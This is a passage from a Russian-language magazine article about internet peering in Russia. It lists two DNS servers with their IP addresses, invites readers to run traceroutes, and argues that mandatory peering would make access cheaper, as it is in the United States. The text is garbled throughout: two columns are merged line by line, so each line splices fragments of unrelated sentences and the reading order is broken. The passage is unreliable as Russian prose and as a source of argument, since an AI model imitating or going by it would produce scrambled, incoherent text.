! 195.2.64.36 – DNS Zenon N.S.P. ческий рост. Видимо, наше общество ещё не до конца со-
! 194.87.0.8 – DNS Demos зрело до понимания необходимости введения обязательно-
го пиринга в столице, а потом и по всей нашей необъятной
Попробуйте ради эксперимента самостоятельно прове- Родине. Это не то, на чём следует делать деньги, ограничивая
рить различные маршруты. Результаты трассировок долж- трафик. К сожалению, многие не только не понимают, что пи-
ны лишь подтвердить вышеописанное разделение провай- ринг способствует развитию сетей, экономическому росту и
деров на две группы. росту благосостояния граждан в целом, но и вообще не зна-
ют, что это такое. Надеюсь, что после этой статьи людей, име-
Будущее за пирингом? ющих хотя бы отдалённое представление, станет больше.
Скорее всего да. Пиринг в целом явление полезное. Пожа- Замечание по поводу пиринга из жизни. (Спасибо А. Гла-
луй, вряд ли найдётся у нас в стране хотя бы один интернет- дилину.) Следует отметить, что многие проблемы по расчё-
пользователь, который не вздыхал бы с грустью, читая про там между провайдерами с раздельной тарификацией и
счастливых американцев, которым скоростной выделенный абонентами берутся из-за неполного понимания абонента-
канал, поданный на дом, обходится в $30 – $50 ежемесячно- ми того, что может происходить с маршрутизацией. Пробле-
го платежа независимо от объёмов потребления. Такая щед- ма здесь не в том, что абоненты не понимают, что какие-то
рость по отношению к клиенту, помимо иных причин, оказа- сайты домена .ru расположены за рубежом и их трафик не
лась возможной благодаря тому, что в Штатах практически является российским (это большинство понимает хорошо),
весь потребляемый трафик – местный. Его передача по а в том, что Интернет – это динамическая структура по сво-
сверхскоростным каналам, соединяющим американские IX, ей природе. Это чаще всего теряется из виду даже у опыт-
обходится настолько дёшево, что деньги взымаются не за ных пользователей. Следует понимать, что в сети с динами-
скачанные мегабайты, а за предоставленный сервис. По мере ческой маршрутизацией, если падает какой-то канал или